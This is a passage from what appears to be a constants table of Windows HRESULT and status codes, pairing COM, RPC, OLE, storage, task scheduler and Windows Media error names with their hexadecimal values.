0x000401A0\nCONVERT10_S_NO_PRESENTATION                                  = 0x000401C0\nMK_S_REDUCED_TO_SELF                                         = 0x000401E2\nMK_S_ME                                                      = 0x000401E4\nMK_S_HIM                                                     = 0x000401E5\nMK_S_US                                                      = 0x000401E6\nMK_S_MONIKERALREADYREGISTERED                                = 0x000401E7\nEVENT_S_SOME_SUBSCRIBERS_FAILED                              = 0x00040200\nEVENT_S_NOSUBSCRIBERS                                        = 0x00040202\nSCHED_S_TASK_READY                                           = 0x00041300\nSCHED_S_TASK_RUNNING                                         = 0x00041301\nSCHED_S_TASK_DISABLED                                        = 0x00041302\nSCHED_S_TASK_HAS_NOT_RUN                                     = 0x00041303\nSCHED_S_TASK_NO_MORE_RUNS                                    = 0x00041304\nSCHED_S_TASK_NOT_SCHEDULED                                   = 0x00041305\nSCHED_S_TASK_TERMINATED                                      = 0x00041306\nSCHED_S_TASK_NO_VALID_TRIGGERS                               = 0x00041307\nSCHED_S_EVENT_TRIGGER                                        = 0x00041308\nSCHED_S_SOME_TRIGGERS_FAILED                                 = 0x0004131B\nSCHED_S_BATCH_LOGON_PROBLEM                                  = 0x0004131C\nXACT_S_ASYNC                                                 = 0x0004D000\nXACT_S_READONLY                                              = 0x0004D002\nXACT_S_SOMENORETAIN                                          = 0x0004D003\nXACT_S_OKINFORM                                              = 0x0004D004\nXACT_S_MADECHANGESCONTENT                                    = 0x0004D005\nXACT_S_MADECHANGESINFORM                                     = 0x0004D006\nXACT_S_ALLNORETAIN                                           = 0x0004D007\nXACT_S_ABORTING                                              = 0x0004D008\nXACT_S_SINGLEPHASE                                           = 0x0004D009\nXACT_S_LOCALLY_OK                                            = 0x0004D00A\nXACT_S_LASTRESOURCEMANAGER                                   = 0x0004D010\nCO_S_NOTALLINTERFACES                                        = 0x00080012\nCO_S_MACHINENAMENOTFOUND                                     = 0x00080013\nSEC_I_CONTINUE_NEEDED                                        = 0x00090312\nSEC_I_COMPLETE_NEEDED                                        = 0x00090313\nSEC_I_COMPLETE_AND_CONTINUE                                  = 0x00090314\nSEC_I_LOCAL_LOGON                                            = 0x00090315\nSEC_I_CONTEXT_EXPIRED                                        = 0x00090317\nSEC_I_INCOMPLETE_CREDENTIALS                                 = 0x00090320\nSEC_I_RENEGOTIATE                                            = 0x00090321\nSEC_I_NO_LSA_CONTEXT                                         = 0x00090323\nSEC_I_SIGNATURE_NEEDED                                       = 0x0009035C\nCRYPT_I_NEW_PROTECTION_REQUIRED                              = 0x00091012\nNS_S_CALLPENDING                                             = 0x000D0000\nNS_S_CALLABORTED                                             = 0x000D0001\nNS_S_STREAM_TRUNCATED                                        = 0x000D0002\nNS_S_REBUFFERING                                             = 0x000D0BC8\nNS_S_DEGRADING_QUALITY                                       = 0x000D0BC9\nNS_S_TRANSCRYPTOR_EOF                                        = 0x000D0BDB\nNS_S_WMP_UI_VERSIONMISMATCH                                  = 0x000D0FE8\nNS_S_WMP_EXCEPTION                                           = 0x000D0FE9\nNS_S_WMP_LOADED_GIF_IMAGE                                    = 0x000D1040\nNS_S_WMP_LOADED_PNG_IMAGE                                    = 0x000D1041\nNS_S_WMP_LOADED_BMP_IMAGE                                    = 0x000D1042\nNS_S_WMP_LOADED_JPG_IMAGE                                    = 0x000D1043\nNS_S_WMG_FORCE_DROP_FRAME                                    = 0x000D104F\nNS_S_WMR_ALREADYRENDERED                                     = 0x000D105F\nNS_S_WMR_PINTYPEPARTIALMATCH                                 = 0x000D1060\nNS_S_WMR_PINTYPEFULLMATCH                                    = 0x000D1061\nNS_S_WMG_ADVISE_DROP_FRAME                                   = 0x000D1066\nNS_S_WMG_ADVISE_DROP_TO_KEYFRAME                             = 0x000D1067\nNS_S_NEED_TO_BUY_BURN_RIGHTS                                 = 0x000D10DB\nNS_S_WMPCORE_PLAYLISTCLEARABORT                              = 0x000D10FE\nNS_S_WMPCORE_PLAYLISTREMOVEITEMABORT                         = 0x000D10FF\nNS_S_WMPCORE_PLAYLIST_CREATION_PENDING                       = 0x000D1102\nNS_S_WMPCORE_MEDIA_VALIDATION_PENDING                        = 0x000D1103\nNS_S_WMPCORE_PLAYLIST_REPEAT_SECONDARY_SEGMENTS_IGNORED      = 0x000D1104\nNS_S_WMPCORE_COMMAND_NOT_AVAILABLE                           = 0x000D1105\nNS_S_WMPCORE_PLAYLIST_NAME_AUTO_GENERATED                    = 0x000D1106\nNS_S_WMPCORE_PLAYLIST_IMPORT_MISSING_ITEMS                   = 0x000D1107\nNS_S_WMPCORE_PLAYLIST_COLLAPSED_TO_SINGLE_MEDIA              = 0x000D1108\nNS_S_WMPCORE_MEDIA_CHILD_PLAYLIST_OPEN_PENDING               = 0x000D1109\nNS_S_WMPCORE_MORE_NODES_AVAIABLE                             = 0x000D110A\nNS_S_WMPBR_SUCCESS                                           = 0x000D1135\nNS_S_WMPBR_PARTIALSUCCESS                                    = 0x000D1136\nNS_S_WMPEFFECT_TRANSPARENT                                   = 0x000D1144\nNS_S_WMPEFFECT_OPAQUE                                        = 0x000D1145\nNS_S_OPERATION_PENDING                                       = 0x000D114E\nNS_S_TRACK_BUY_REQUIRES_ALBUM_PURCHASE                       = 0x000D1359\nNS_S_NAVIGATION_COMPLETE_WITH_ERRORS                         = 0x000D135E\nNS_S_TRACK_ALREADY_DOWNLOADED                                = 0x000D1361\nNS_S_PUBLISHING_POINT_STARTED_WITH_FAILED_SINKS              = 0x000D1519\nNS_S_DRM_LICENSE_ACQUIRED                                    = 0x000D2726\nNS_S_DRM_INDIVIDUALIZED                                      = 0x000D2727\nNS_S_DRM_MONITOR_CANCELLED                                   = 0x000D2746\nNS_S_DRM_ACQUIRE_CANCELLED                                   = 0x000D2747\nNS_S_DRM_BURNABLE_TRACK                                      = 0x000D276E\nNS_S_DRM_BURNABLE_TRACK_WITH_PLAYLIST_RESTRICTION            = 0x000D276F\nNS_S_DRM_NEEDS_INDIVIDUALIZATION                             = 0x000D27DE\nNS_S_REBOOT_RECOMMENDED                                      = 0x000D2AF8\nNS_S_REBOOT_REQUIRED                                         = 0x000D2AF9\nNS_S_EOSRECEDING                                             = 0x000D2F09\nNS_S_CHANGENOTICE                                            = 0x000D2F0D\nERROR_FLT_IO_COMPLETE                                        = 0x001F0001\nERROR_GRAPHICS_MODE_NOT_PINNED                               = 0x00262307\nERROR_GRAPHICS_NO_PREFERRED_MODE                             = 0x0026231E\nERROR_GRAPHICS_DATASET_IS_EMPTY                              = 0x0026234B\nERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET                   = 0x0026234C\nERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED = 0x00262351\nPLA_S_PROPERTY_IGNORED                                       = 0x00300100\nERROR_NDIS_INDICATION_REQUIRED                               = 0x00340001\nTRK_S_OUT_OF_SYNC                                            = 0x0DEAD100\nTRK_VOLUME_NOT_FOUND                                         = 0x0DEAD102\nTRK_VOLUME_NOT_OWNED                                         = 0x0DEAD103\nTRK_S_NOTIFICATION_QUOTA_EXCEEDED                            = 0x0DEAD107\nNS_I_TIGER_START                                             = 0x400D004F\nNS_I_CUB_START                                               = 0x400D0051\nNS_I_CUB_RUNNING                                             = 0x400D0052\nNS_I_DISK_START                                              = 0x400D0054\nNS_I_DISK_REBUILD_STARTED                                    = 0x400D0056\nNS_I_DISK_REBUILD_FINISHED                                   = 0x400D0057\nNS_I_DISK_REBUILD_ABORTED                                    = 0x400D0058\nNS_I_LIMIT_FUNNELS                                           = 0x400D0059\nNS_I_START_DISK                                              = 0x400D005A\nNS_I_STOP_DISK                                               = 0x400D005B\nNS_I_STOP_CUB                                                = 0x400D005C\nNS_I_KILL_USERSESSION                                        = 0x400D005D\nNS_I_KILL_CONNECTION                                         = 0x400D005E\nNS_I_REBUILD_DISK                                            = 0x400D005F\nMCMADM_I_NO_EVENTS                                           = 0x400D0069\nNS_I_LOGGING_FAILED                                          = 0x400D006E\nNS_I_LIMIT_BANDWIDTH                                         = 0x400D0070\nNS_I_CUB_UNFAIL_LINK                                         = 0x400D0191\nNS_I_RESTRIPE_START                                          = 0x400D0193\nNS_I_RESTRIPE_DONE                                           = 0x400D0194\nNS_I_RESTRIPE_DISK_OUT                                       = 0x400D0196\nNS_I_RESTRIPE_CUB_OUT                                        = 0x400D0197\nNS_I_DISK_STOP                                               = 0x400D0198\nNS_I_PLAYLIST_CHANGE_RECEDING                                = 0x400D14BE\nNS_I_RECONNECTED                                             = 0x400D2EFF\nNS_I_NOLOG_STOP                                              = 0x400D2F01\nNS_I_EXISTING_PACKETIZER                                     = 0x400D2F03\nNS_I_MANUAL_PROXY                                            = 0x400D2F04\nERROR_GRAPHICS_DRIVER_MISMATCH                               = 0x40262009\nERROR_GRAPHICS_UNKNOWN_CHILD_STATUS                          = 0x4026242F\nERROR_GRAPHICS_LEADLINK_START_DEFERRED                       = 0x40262437\nERROR_GRAPHICS_POLLING_TOO_FREQUENTLY                        = 0x40262439\nERROR_GRAPHICS_START_DEFERRED                                = 0x4026243A\nE_PENDING                                                    = 0x8000000A\nE_NOTIMPL                                                    = 0x80004001\nE_NOINTERFACE                                                = 0x80004002\nE_POINTER                                                    = 0x80004003\nE_ABORT                                                      = 0x80004004\nE_FAIL                                                       = 0x80004005\nCO_E_INIT_TLS                                                = 0x80004006\nCO_E_INIT_SHARED_ALLOCATOR                                   = 0x80004007\nCO_E_INIT_MEMORY_ALLOCATOR                                   = 0x80004008\nCO_E_INIT_CLASS_CACHE                                        = 0x80004009\nCO_E_INIT_RPC_CHANNEL                                        = 0x8000400A\nCO_E_INIT_TLS_SET_CHANNEL_CONTROL                            = 0x8000400B\nCO_E_INIT_TLS_CHANNEL_CONTROL                                = 0x8000400C\nCO_E_INIT_UNACCEPTED_USER_ALLOCATOR                          = 0x8000400D\nCO_E_INIT_SCM_MUTEX_EXISTS                                   = 0x8000400E\nCO_E_INIT_SCM_FILE_MAPPING_EXISTS                            = 0x8000400F\nCO_E_INIT_SCM_MAP_VIEW_OF_FILE                               = 0x80004010\nCO_E_INIT_SCM_EXEC_FAILURE                                   = 0x80004011\nCO_E_INIT_ONLY_SINGLE_THREADED                               = 0x80004012\nCO_E_CANT_REMOTE                                             = 0x80004013\nCO_E_BAD_SERVER_NAME                                         = 0x80004014\nCO_E_WRONG_SERVER_IDENTITY                                   = 0x80004015\nCO_E_OLE1DDE_DISABLED                                        = 0x80004016\nCO_E_RUNAS_SYNTAX                                            = 0x80004017\nCO_E_CREATEPROCESS_FAILURE                                   = 0x80004018\nCO_E_RUNAS_CREATEPROCESS_FAILURE                             = 0x80004019\nCO_E_RUNAS_LOGON_FAILURE                                     = 0x8000401A\nCO_E_LAUNCH_PERMSSION_DENIED                                 = 0x8000401B\nCO_E_START_SERVICE_FAILURE                                   = 0x8000401C\nCO_E_REMOTE_COMMUNICATION_FAILURE                            = 0x8000401D\nCO_E_SERVER_START_TIMEOUT                                    = 0x8000401E\nCO_E_CLSREG_INCONSISTENT                                     = 0x8000401F\nCO_E_IIDREG_INCONSISTENT                                     = 0x80004020\nCO_E_NOT_SUPPORTED                                           = 0x80004021\nCO_E_RELOAD_DLL                                              = 0x80004022\nCO_E_MSI_ERROR                                               = 0x80004023\nCO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT                = 0x80004024\nCO_E_SERVER_PAUSED                                           = 0x80004025\nCO_E_SERVER_NOT_PAUSED                                       = 0x80004026\nCO_E_CLASS_DISABLED                                          = 0x80004027\nCO_E_CLRNOTAVAILABLE                                         = 0x80004028\nCO_E_ASYNC_WORK_REJECTED                                     = 0x80004029\nCO_E_SERVER_INIT_TIMEOUT                                     = 0x8000402A\nCO_E_NO_SECCTX_IN_ACTIVATE                                   = 0x8000402B\nCO_E_TRACKER_CONFIG                                          = 0x80004030\nCO_E_THREADPOOL_CONFIG                                       = 0x80004031\nCO_E_SXS_CONFIG                                              = 0x80004032\nCO_E_MALFORMED_SPN                                           = 0x80004033\nE_UNEXPECTED                                                 = 0x8000FFFF\nRPC_E_CALL_REJECTED                                          = 0x80010001\nRPC_E_CALL_CANCELED                                          = 0x80010002\nRPC_E_CANTPOST_INSENDCALL                                    = 0x80010003\nRPC_E_CANTCALLOUT_INASYNCCALL                                = 0x80010004\nRPC_E_CANTCALLOUT_INEXTERNALCALL                             = 0x80010005\nRPC_E_CONNECTION_TERMINATED                                  = 0x80010006\nRPC_E_SERVER_DIED                                            = 0x80010007\nRPC_E_CLIENT_DIED                                            = 0x80010008\nRPC_E_INVALID_DATAPACKET                                     = 0x80010009\nRPC_E_CANTTRANSMIT_CALL                                      = 0x8001000A\nRPC_E_CLIENT_CANTMARSHAL_DATA                                = 0x8001000B\nRPC_E_CLIENT_CANTUNMARSHAL_DATA                              = 0x8001000C\nRPC_E_SERVER_CANTMARSHAL_DATA                                = 0x8001000D\nRPC_E_SERVER_CANTUNMARSHAL_DATA                              = 0x8001000E\nRPC_E_INVALID_DATA                                           = 0x8001000F\nRPC_E_INVALID_PARAMETER                                      = 0x80010010\nRPC_E_CANTCALLOUT_AGAIN                                      = 0x80010011\nRPC_E_SERVER_DIED_DNE                                        = 0x80010012\nRPC_E_SYS_CALL_FAILED                                        = 0x80010100\nRPC_E_OUT_OF_RESOURCES                                       = 0x80010101\nRPC_E_ATTEMPTED_MULTITHREAD                                  = 0x80010102\nRPC_E_NOT_REGISTERED                                         = 0x80010103\nRPC_E_FAULT                                                  = 0x80010104\nRPC_E_SERVERFAULT                                            = 0x80010105\nRPC_E_CHANGED_MODE                                           = 0x80010106\nRPC_E_INVALIDMETHOD                                          = 0x80010107\nRPC_E_DISCONNECTED                                           = 0x80010108\nRPC_E_RETRY                                                  = 0x80010109\nRPC_E_SERVERCALL_RETRYLATER                                  = 0x8001010A\nRPC_E_SERVERCALL_REJECTED                                    = 0x8001010B\nRPC_E_INVALID_CALLDATA                                       = 0x8001010C\nRPC_E_CANTCALLOUT_ININPUTSYNCCALL                            = 0x8001010D\nRPC_E_WRONG_THREAD                                           = 0x8001010E\nRPC_E_THREAD_NOT_INIT                                        = 0x8001010F\nRPC_E_VERSION_MISMATCH                                       = 0x80010110\nRPC_E_INVALID_HEADER                                         = 0x80010111\nRPC_E_INVALID_EXTENSION                                      = 0x80010112\nRPC_E_INVALID_IPID                                           = 0x80010113\nRPC_E_INVALID_OBJECT                                         = 0x80010114\nRPC_S_CALLPENDING                                            = 0x80010115\nRPC_S_WAITONTIMER                                            = 0x80010116\nRPC_E_CALL_COMPLETE                                          = 0x80010117\nRPC_E_UNSECURE_CALL                                          = 0x80010118\nRPC_E_TOO_LATE                                               = 0x80010119\nRPC_E_NO_GOOD_SECURITY_PACKAGES                              = 0x8001011A\nRPC_E_ACCESS_DENIED                                          = 0x8001011B\nRPC_E_REMOTE_DISABLED                                        = 0x8001011C\nRPC_E_INVALID_OBJREF                                         = 0x8001011D\nRPC_E_NO_CONTEXT                                             = 0x8001011E\nRPC_E_TIMEOUT                                                = 0x8001011F\nRPC_E_NO_SYNC                                                = 0x80010120\nRPC_E_FULLSIC_REQUIRED                                       = 0x80010121\nRPC_E_INVALID_STD_NAME                                       = 0x80010122\nCO_E_FAILEDTOIMPERSONATE                                     = 0x80010123\nCO_E_FAILEDTOGETSECCTX                                       = 0x80010124\nCO_E_FAILEDTOOPENTHREADTOKEN                                 = 0x80010125\nCO_E_FAILEDTOGETTOKENINFO                                    = 0x80010126\nCO_E_TRUSTEEDOESNTMATCHCLIENT                                = 0x80010127\nCO_E_FAILEDTOQUERYCLIENTBLANKET                              = 0x80010128\nCO_E_FAILEDTOSETDACL                                         = 0x80010129\nCO_E_ACCESSCHECKFAILED                                       = 0x8001012A\nCO_E_NETACCESSAPIFAILED                                      = 0x8001012B\nCO_E_WRONGTRUSTEENAMESYNTAX                                  = 0x8001012C\nCO_E_INVALIDSID                                              = 0x8001012D\nCO_E_CONVERSIONFAILED                                        = 0x8001012E\nCO_E_NOMATCHINGSIDFOUND                                      = 0x8001012F\nCO_E_LOOKUPACCSIDFAILED                                      = 0x80010130\nCO_E_NOMATCHINGNAMEFOUND                                     = 0x80010131\nCO_E_LOOKUPACCNAMEFAILED                                     = 0x80010132\nCO_E_SETSERLHNDLFAILED                                       = 0x80010133\nCO_E_FAILEDTOGETWINDIR                                       = 0x80010134\nCO_E_PATHTOOLONG                                             = 0x80010135\nCO_E_FAILEDTOGENUUID                                         = 0x80010136\nCO_E_FAILEDTOCREATEFILE                                      = 0x80010137\nCO_E_FAILEDTOCLOSEHANDLE                                     = 0x80010138\nCO_E_EXCEEDSYSACLLIMIT                                       = 0x80010139\nCO_E_ACESINWRONGORDER                                        = 0x8001013A\nCO_E_INCOMPATIBLESTREAMVERSION                               = 0x8001013B\nCO_E_FAILEDTOOPENPROCESSTOKEN                                = 0x8001013C\nCO_E_DECODEFAILED                                            = 0x8001013D\nCO_E_ACNOTINITIALIZED                                        = 0x8001013F\nCO_E_CANCEL_DISABLED                                         = 0x80010140\nRPC_E_UNEXPECTED                                             = 0x8001FFFF\nDISP_E_UNKNOWNINTERFACE                                      = 0x80020001\nDISP_E_MEMBERNOTFOUND                                        = 0x80020003\nDISP_E_PARAMNOTFOUND                                         = 0x80020004\nDISP_E_TYPEMISMATCH                                          = 0x80020005\nDISP_E_UNKNOWNNAME                                           = 0x80020006\nDISP_E_NONAMEDARGS                                           = 0x80020007\nDISP_E_BADVARTYPE                                            = 0x80020008\nDISP_E_EXCEPTION                                             = 0x80020009\nDISP_E_OVERFLOW                                              = 0x8002000A\nDISP_E_BADINDEX                                              = 0x8002000B\nDISP_E_UNKNOWNLCID                                           = 0x8002000C\nDISP_E_ARRAYISLOCKED                                         = 0x8002000D\nDISP_E_BADPARAMCOUNT                                         = 0x8002000E\nDISP_E_PARAMNOTOPTIONAL                                      = 0x8002000F\nDISP_E_BADCALLEE                                             = 0x80020010\nDISP_E_NOTACOLLECTION                                        = 0x80020011\nDISP_E_DIVBYZERO                                             = 0x80020012\nDISP_E_BUFFERTOOSMALL                                        = 0x80020013\nTYPE_E_BUFFERTOOSMALL                                        = 0x80028016\nTYPE_E_FIELDNOTFOUND                                         = 0x80028017\nTYPE_E_INVDATAREAD                                           = 0x80028018\nTYPE_E_UNSUPFORMAT                                           = 0x80028019\nTYPE_E_REGISTRYACCESS                                        = 0x8002801C\nTYPE_E_LIBNOTREGISTERED                                      = 0x8002801D\nTYPE_E_UNDEFINEDTYPE                                         = 0x80028027\nTYPE_E_QUALIFIEDNAMEDISALLOWED                               = 0x80028028\nTYPE_E_INVALIDSTATE                                          = 0x80028029\nTYPE_E_WRONGTYPEKIND                                         = 0x8002802A\nTYPE_E_ELEMENTNOTFOUND                                       = 0x8002802B\nTYPE_E_AMBIGUOUSNAME                                         = 0x8002802C\nTYPE_E_NAMECONFLICT                                          = 0x8002802D\nTYPE_E_UNKNOWNLCID                                           = 0x8002802E\nTYPE_E_DLLFUNCTIONNOTFOUND                                   = 0x8002802F\nTYPE_E_BADMODULEKIND                                         = 0x800288BD\nTYPE_E_SIZETOOBIG                                            = 0x800288C5\nTYPE_E_DUPLICATEID                                           = 0x800288C6\nTYPE_E_INVALIDID                                             = 0x800288CF\nTYPE_E_TYPEMISMATCH                                          = 0x80028CA0\nTYPE_E_OUTOFBOUNDS                                           = 0x80028CA1\nTYPE_E_IOERROR                                               = 0x80028CA2\nTYPE_E_CANTCREATETMPFILE                                     = 0x80028CA3\nTYPE_E_CANTLOADLIBRARY                                       = 0x80029C4A\nTYPE_E_INCONSISTENTPROPFUNCS                                 = 0x80029C83\nTYPE_E_CIRCULARTYPE                                          = 0x80029C84\nSTG_E_INVALIDFUNCTION                                        = 0x80030001\nSTG_E_FILENOTFOUND                                           = 0x80030002\nSTG_E_PATHNOTFOUND                                           = 0x80030003\nSTG_E_TOOMANYOPENFILES                                       = 0x80030004\nSTG_E_ACCESSDENIED                                           = 0x80030005\nSTG_E_INVALIDHANDLE                                          = 0x80030006\nSTG_E_INSUFFICIENTMEMORY                                     = 0x80030008\nSTG_E_INVALIDPOINTER                                         = 0x80030009\nSTG_E_NOMOREFILES                                            = 0x80030012\nSTG_E_DISKISWRITEPROTECTED                                   = 0x80030013\nSTG_E_SEEKERROR                                              = 0x80030019\nSTG_E_WRITEFAULT                                             = 0x8003001D\nSTG_E_READFAULT                                              = 0x8003001E\nSTG_E_SHAREVIOLATION                                         = 0x80030020\nSTG_E_LOCKVIOLATION                                          = 0x80030021\nSTG_E_FILEALREADYEXISTS                                      = 0x80030050\nSTG_E_INVALIDPARAMETER                                       = 0x80030057\nSTG_E_MEDIUMFULL                                             = 0x80030070\nSTG_E_PROPSETMISMATCHED                                      = 0x800300F0\nSTG_E_ABNORMALAPIEXIT                                        = 0x800300FA\nSTG_E_INVALIDHEADER                                          = 0x800300FB\nSTG_E_INVALIDNAME                                            = 0x800300FC\nSTG_E_UNKNOWN                                                = 0x800300FD\nSTG_E_UNIMPLEMENTEDFUNCTION                                  = 0x800300FE\nSTG_E_INVALIDFLAG                                            = 0x800300FF\nSTG_E_INUSE                                                  = 0x80030100\nSTG_E_NOTCURRENT                                             = 0x80030101\nSTG_E_REVERTED                                               = 0x80030102\nSTG_E_CANTSAVE                                               = 0x80030103\nSTG_E_OLDFORMAT                                              = 0x80030104\nSTG_E_OLDDLL                                                 = 0x80030105\nSTG_E_SHAREREQUIRED                                          = 0x80030106\nSTG_E_NOTFILEBASEDSTORAGE                                    = 0x80030107\nSTG_E_EXTANTMARSHALLINGS                                     = 0x80030108\nSTG_E_DOCFILECORRUPT                                         = 0x80030109\nSTG_E_BADBASEADDRESS                                         = 0x80030110\nSTG_E_DOCFILETOOLARGE                                        = 0x80030111\nSTG_E_NOTSIMPLEFORMAT                                        = 0x80030112\nSTG_E_INCOMPLETE                                             = 0x80030201\nSTG_E_TERMINATED                                             = 0x80030202\nSTG_E_STATUS_COPY_PROTECTION_FAILURE                         = 0x80030305\nSTG_E_CSS_AUTHENTICATION_FAILURE                             = 0x80030306\nSTG_E_CSS_KEY_NOT_PRESENT                                    = 0x80030307\nSTG_E_CSS_KEY_NOT_ESTABLISHED                                = 0x80030308\nSTG_E_CSS_SCRAMBLED_SECTOR                                   = 0x80030309\nSTG_E_CSS_REGION_MISMATCH                                    = 0x8003030A\nSTG_E_RESETS_EXHAUSTED                                       = 0x8003030B\nOLE_E_OLEVERB                                                = 0x80040000\nOLE_E_ADVF                                                   = 0x80040001\nOLE_E_ENUM_NOMORE                                            = 0x80040002\nOLE_E_ADVISENOTSUPPORTED                                     = 0x80040003\nOLE_E_NOCONNECTION                                           = 0x80040004\nOLE_E_NOTRUNNING                                             = 0x80040005\nOLE_E_NOCACHE                                                = 0x80040006\nOLE_E_BLANK                                                  = 0x80040007\nOLE_E_CLASSDIFF                                              = 0x80040008\nOLE_E_CANT_GETMONIKER                                        = 0x80040009\nOLE_E_CANT_BINDTOSOURCE                                      = 0x8004000A\nOLE_E_STATIC                                                 = 0x8004000B\nOLE_E_PROMPTSAVECANCELLED                                    = 0x8004000C\nOLE_E_INVALIDRECT                                            = 0x8004000D\nOLE_E_WRONGCOMPOBJ                                           = 0x8004000E\nOLE_E_INVALIDHWND                                            = 0x8004000F\nOLE_E_NOT_INPLACEACTIVE                                      = 0x80040010\nOLE_E_CANTCONVERT                                            = 0x80040011\nOLE_E_NOSTORAGE                                              = 0x80040012\nDV_E_FORMATETC                                               = 0x80040064\nDV_E_DVTARGETDEVICE                                          = 0x80040065\nDV_E_STGMEDIUM                                               = 0x80040066\nDV_E_STATDATA                                                = 0x80040067\nDV_E_LINDEX                                                  = 0x80040068\nDV_E_TYMED                                                   = 0x80040069\nDV_E_CLIPFORMAT                                              = 0x8004006A\nDV_E_DVASPECT                                                = 0x8004006B\nDV_E_DVTARGETDEVICE_SIZE                                     = 0x8004006C\nDV_E_NOIVIEWOBJECT                                           = 0x8004006D\nDRAGDROP_E_NOTREGISTERED                                     = 0x80040100\nDRAGDROP_E_ALREADYREGISTERED                                 = 0x80040101\nDRAGDROP_E_INVALIDHWND                                       = 0x80040102\nCLASS_E_NOAGGREGATION                                        = 0x80040110\nCLASS_E_CLASSNOTAVAILABLE                                    = 0x80040111\nCLASS_E_NOTLICENSED                                          = 0x80040112\nVIEW_E_DRAW                                                  = 0x80040140\nREGDB_E_READREGDB                                            = 0x80040150\nREGDB_E_WRITEREGDB                                           = 0x80040151\nREGDB_E_KEYMISSING                                           = 0x80040152\nREGDB_E_INVALIDVALUE                                         = 0x80040153\nREGDB_E_CLASSNOTREG                                          = 0x80040154\nREGDB_E_IIDNOTREG                                            = 0x80040155\nREGDB_E_BADTHREADINGMODEL                                    = 0x80040156\nCAT_E_CATIDNOEXIST                                           = 0x80040160\nCAT_E_NODESCRIPTION                                          = 0x80040161\nCS_E_PACKAGE_NOTFOUND                                        = 0x80040164\nCS_E_NOT_DELETABLE                                           = 0x80040165\nCS_E_CLASS_NOTFOUND                                          = 0x80040166\nCS_E_INVALID_VERSION                                         = 0x80040167\nCS_E_NO_CLASSSTORE                                           = 0x80040168\nCS_E_OBJECT_NOTFOUND                                         = 0x80040169\nCS_E_OBJECT_ALREADY_EXISTS                                   = 0x8004016A\nCS_E_INVALID_PATH                                            = 0x8004016B\nCS_E_NETWORK_ERROR                                           = 0x8004016C\nCS_E_ADMIN_LIMIT_EXCEEDED                                    = 0x8004016D\nCS_E_SCHEMA_MISMATCH                                         = 0x8004016E\nCS_E_INTERNAL_ERROR                                          = 0x8004016F\nCACHE_E_NOCACHE_UPDATED                                      = 0x80040170\nOLEOBJ_E_NOVERBS                                             = 0x80040180\nOLEOBJ_E_INVALIDVERB                                         = 0x80040181\nINPLACE_E_NOTUNDOABLE                                        = 0x800401A0\nINPLACE_E_NOTOOLSPACE                                        = 0x800401A1\nCONVERT10_E_OLESTREAM_GET                                    = 0x800401C0\nCONVERT10_E_OLESTREAM_PUT                                    = 0x800401C1\nCONVERT10_E_OLESTREAM_FMT                                    = 0x800401C2\nCONVERT10_E_OLESTREAM_BITMAP_TO_DIB                          = 0x800401C3\nCONVERT10_E_STG_FMT                                          = 0x800401C4\nCONVERT10_E_STG_NO_STD_STREAM                                = 0x800401C5\nCONVERT10_E_STG_DIB_TO_BITMAP                                = 0x800401C6\nCLIPBRD_E_CANT_OPEN                                          = 0x800401D0\nCLIPBRD_E_CANT_EMPTY                                         = 0x800401D1\nCLIPBRD_E_CANT_SET                                           = 0x800401D2\nCLIPBRD_E_BAD_DATA                                           = 0x800401D3\nCLIPBRD_E_CANT_CLOSE                                         = 0x800401D4\nMK_E_CONNECTMANUALLY                                         = 0x800401E0\nMK_E_EXCEEDEDDEADLINE                                        = 0x800401E1\nMK_E_NEEDGENERIC                                             = 0x800401E2\nMK_E_UNAVAILABLE                                             = 0x800401E3\nMK_E_SYNTAX                                                  = 0x800401E4\nMK_E_NOOBJECT                                                = 0x800401E5\nMK_E_INVALIDEXTENSION                                        = 0x800401E6\nMK_E_INTERMEDIATEINTERFACENOTSUPPORTED                       = 0x800401E7\nMK_E_NOTBINDABLE                                             = 0x800401E8\nMK_E_NOTBOUND                                                = 0x800401E9\nMK_E_CANTOPENFILE                                            = 0x800401EA\nMK_E_MUSTBOTHERUSER                                          = 0x800401EB\nMK_E_NOINVERSE                                               = 0x800401EC\nMK_E_NOSTORAGE                                               = 0x800401ED\nMK_E_NOPREFIX                                                = 0x800401EE\nMK_E_ENUMERATION_FAILED                                      = 0x800401EF\nCO_E_NOTINITIALIZED                                          = 0x800401F0\nCO_E_ALREADYINITIALIZED                                      = 0x800401F1\nCO_E_CANTDETERMINECLASS                                      = 0x800401F2\nCO_E_CLASSSTRING                                             = 0x800401F3\nCO_E_IIDSTRING                                               = 0x800401F4\nCO_E_APPNOTFOUND                                             = 0x800401F5\nCO_E_APPSINGLEUSE                                            = 0x800401F6\nCO_E_ERRORINAPP                                              = 0x800401F7\nCO_E_DLLNOTFOUND                                             = 0x800401F8\nCO_E_ERRORINDLL                                              = 0x800401F9\nCO_E_WRONGOSFORAPP                                           = 0x800401FA\nCO_E_OBJNOTREG                                               = 0x800401FB\nCO_E_OBJISREG                                                = 0x800401FC\nCO_E_OBJNOTCONNECTED                                         = 0x800401FD\nCO_E_APPDIDNTREG                                             = 0x800401FE\nCO_E_RELEASED                                                = 0x800401FF\nEVENT_E_ALL_SUBSCRIBERS_FAILED                               = 0x80040201\nEVENT_E_QUERYSYNTAX                                          = 0x80040203\nEVENT_E_QUERYFIELD                                           = 0x80040204\nEVENT_E_INTERNALEXCEPTION                                    = 0x80040205\nEVENT_E_INTERNALERROR                                        = 0x80040206\nEVENT_E_INVALID_PER_USER_SID                                 = 0x80040207\nEVENT_E_USER_EXCEPTION                                       = 0x80040208\nEVENT_E_TOO_MANY_METHODS                                     = 0x80040209\nEVENT_E_MISSING_EVENTCLASS                                   = 0x8004020A\nEVENT_E_NOT_ALL_REMOVED                                      = 0x8004020B\nEVENT_E_COMPLUS_NOT_INSTALLED                                = 0x8004020C\nEVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT            = 0x8004020D\nEVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT              = 0x8004020E\nEVENT_E_INVALID_EVENT_CLASS_PARTITION                        = 0x8004020F\nEVENT_E_PER_USER_SID_NOT_LOGGED_ON                           = 0x80040210\nSCHED_E_TRIGGER_NOT_FOUND                                    = 0x80041309\nSCHED_E_TASK_NOT_READY                                       = 0x8004130A\nSCHED_E_TASK_NOT_RUNNING                                     = 0x8004130B\nSCHED_E_SERVICE_NOT_INSTALLED                                = 0x8004130C\nSCHED_E_CANNOT_OPEN_TASK                                     = 0x8004130D\nSCHED_E_INVALID_TASK                                         = 